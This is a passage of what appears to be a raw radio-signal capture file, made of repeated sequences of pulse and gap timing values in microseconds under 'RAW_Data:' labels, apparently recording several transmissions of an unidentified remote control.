-1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -2994 3603 -836 655 -2854 1731 -2816 3487 -2910 3517 -2910 3481 -2856 3443 -3016 3407 -3006 3401 -3006 3399 -2994 3393 -3006 3397 -2996 3393 -3002 3401 -3002 3395 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -3000 3401 -3002 3401 -2994 3407 -1404 1795 -2992 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1799 -1398 3389 -1402 1799 -7638 2209 -2584 3689 -2704 3511 -2934 3347 -3168 3179 -3186 3389 -2994 3395 -2994 3401 -3002 3393 -3004 3393 -3002 -RAW_Data: 3401 -2994 3403 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3407 -3000 3399 -2994 3393 -1402 1795 -2992 1799 -1402 3401 -3002 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -3004 1799 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 3601 -4312 1887 -2802 3527 -2906 3523 -3128 3147 -3164 3181 -3188 3389 -2994 3395 -2994 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1396 1797 -3002 3407 -2996 3395 -2994 3401 -1402 1795 -2998 3395 -3006 1803 -1398 1791 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -7934 8393 -2332 3759 -2774 3583 -2990 3389 -2994 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -2994 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3006 3405 -2998 3397 -1398 1791 -3000 3401 -1402 1799 -2994 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -1400 1801 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -1396 1797 -3002 3603 -4584 1767 -2612 3777 -2734 3539 -2912 3505 -2916 3331 -3156 3173 -3182 3187 -3190 3393 -2996 3401 -3002 3401 -2994 3395 -3002 3401 -2994 3407 -1400 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3401 -1398 1791 -2990 3403 -3002 3401 -3002 3401 -1398 1791 -1398 1801 -3006 1805 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1400 3395 -1400 1801 -1398 1795 -8110 2015 -2632 3843 -2818 3415 -3002 3407 -3004 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2998 3405 -2994 3393 -3004 3393 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1801 -3002 3393 -2994 3401 -3002 3395 -1400 1801 -1402 1799 -2994 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 3397 -1400 1801 -3002 1801 -1396 1793 -1398 3401 -3002 1795 -1398 1801 -1400 3603 -4032 1885 -2658 3649 -2852 3473 -2950 3571 -2718 3513 -2898 3455 -3040 3421 -3010 3401 -3006 3411 -2998 3393 -3002 3395 -3002 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -3008 1799 -1394 1791 -1398 1801 -1400 3401 -3004 3401 -1396 -RAW_Data: 1793 -3002 3407 -2994 3401 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 3401 -1402 1801 -2998 1803 -1398 1791 -1394 3399 -3002 1799 -1402 3401 -8194 21409 -2410 3595 -3000 3401 -3002 3403 -3006 3405 -2994 3395 -3002 3401 -2994 3401 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3407 -1404 1795 -2992 3401 -3002 3395 -3006 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1795 -3000 1799 -1402 1799 -1398 3397 -3002 3403 -3002 3593 -4590 8471 -2416 3813 -2802 3403 -3002 3401 -3002 3401 -3004 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -3002 3401 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -3004 1795 -1398 1799 -1402 1795 -1398 3401 -3004 3401 -1396 1793 -2998 3401 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 -RAW_Data: 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -3006 1803 -1398 1791 -1398 3401 -3004 3393 -1400 1801 -6470 1853 -2954 3275 -3044 3425 -3014 3405 -3004 3401 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2998 3405 -2994 3395 -3006 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3401 -2994 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3000 1803 -1398 1791 -1398 3401 -1402 1799 -3004 1795 -1394 3797 -4442 2001 -2426 3829 -2818 3415 -3014 3401 -3002 3393 -3002 3395 -3002 3401 -3002 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1402 1799 -3006 3399 -2994 3401 -1398 1791 -2998 1801 -1402 1799 -1402 3393 -3002 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -1400 1801 -3002 1801 -1396 1791 -1398 3403 -1400 1801 -3002 3401 -8088 1813 -2902 3441 -3020 3417 -3010 3411 -3004 3399 -3002 3397 -2994 3395 -3002 3393 -3002 3393 -3004 3401 -2998 3405 -2994 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3403 -1400 1795 -2992 3401 -3002 3403 -1400 1795 -2992 1801 -1400 1801 -1400 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -1402 1795 -2992 3601 -4130 1967 -2648 3605 -2874 3687 -2732 3527 -2902 3507 -2930 3349 -3168 3173 -3186 3395 -2998 3397 -2994 3395 -3002 3401 -2994 3401 -3000 3405 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 3401 -1402 1795 -2992 1799 -1402 3401 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -1400 1801 -3002 1801 -1400 1797 -1398 3401 -1400 1801 -1402 1795 -1394 1797 -3402 1061 -2794 2197 -2242 4043 -2320 3991 -2722 3497 -2880 3643 -2830 3415 -3010 3401 -3002 3401 -3002 3403 -3002 3401 -3002 3399 -3006 3393 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3407 -2998 3393 -1396 1793 -3002 3407 -3002 3393 -1398 1795 -3002 1801 -1402 3401 -3002 3393 -3002 1797 -1394 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 -RAW_Data: 1799 -1398 1797 -1400 3401 -1402 1795 -2992 1801 -1400 3401 -3002 1801 -1402 1799 -1398 1791 -1398 3601 -2170 4255 -2912 3537 -2960 3375 -2986 3189 -3192 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3006 3399 -1396 1791 -3000 3401 -3002 3403 -1400 1795 -2992 1801 -1400 3401 -1402 1795 -3000 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -1402 1799 -3002 1797 -1398 3401 -3002 1801 -1396 1793 -1398 3401 -8220 2607 -1888 3817 -2618 3609 -3002 3403 -3002 3401 -3002 3401 -3006 3399 -2994 3401 -2994 3403 -2998 3405 -2994 3393 -3004 3401 -2998 3405 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -2996 1799 -1402 1799 -1398 1797 -1400 3401 -2996 3401 -1400 1801 -2994 3401 -3004 3393 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3401 -1398 1791 -3004 1803 -1402 3393 -3002 1795 -1396 3397 -3002 3401 -4962 8235 -2580 3581 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -2994 3403 -3006 3397 -2998 3405 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3395 -3002 3397 -1404 1797 -2990 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 -RAW_Data: 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 3401 -1398 1791 -3000 1799 -1402 3401 -2998 1805 -1398 3389 -1400 1801 -8008 2567 -1896 3829 -2822 3413 -3014 3407 -3002 3401 -2994 3401 -3002 3395 -3002 3399 -3004 3395 -3002 3399 -3004 3393 -2996 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1797 -2990 3401 -3004 3401 -1400 1801 -2998 3397 -3004 1795 -1394 3397 -3002 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 3403 -1404 1795 -2992 1799 -1402 3401 -2998 3407 -2998 1799 -1394 3791 -4154 1719 -2816 3391 -3170 3285 -3136 3323 -3106 3317 -3134 3147 -3164 3173 -3188 3389 -2994 3395 -3002 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3006 1801 -1394 1791 -1398 1801 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1793 -2998 3401 -3008 3405 -2994 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 1799 -1402 3401 -2994 3403 -2994 3405 -8152 1939 -2656 3635 -2818 3409 -3014 3405 -3002 3403 -2994 3401 -2994 -RAW_Data: 3401 -3004 3393 -3002 3401 -2998 3211 -3198 3393 -2994 3395 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1398 3397 -3002 3401 -1402 1795 -3000 3401 -2994 3403 -1400 1795 -2992 3401 -3006 3407 -1396 1791 -2996 1805 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -2994 1801 -1402 3401 -3002 3393 -1398 1797 -3002 3601 -4348 1837 -2790 3659 -2830 3417 -3016 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3006 3205 -1598 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -3000 1799 -1398 1797 -1400 1801 -1396 3399 -3002 3401 -1398 1795 -3002 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -2998 1805 -1396 1791 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 3399 -1400 1801 -2994 1801 -1400 3401 -3002 3395 -1400 1801 -1398 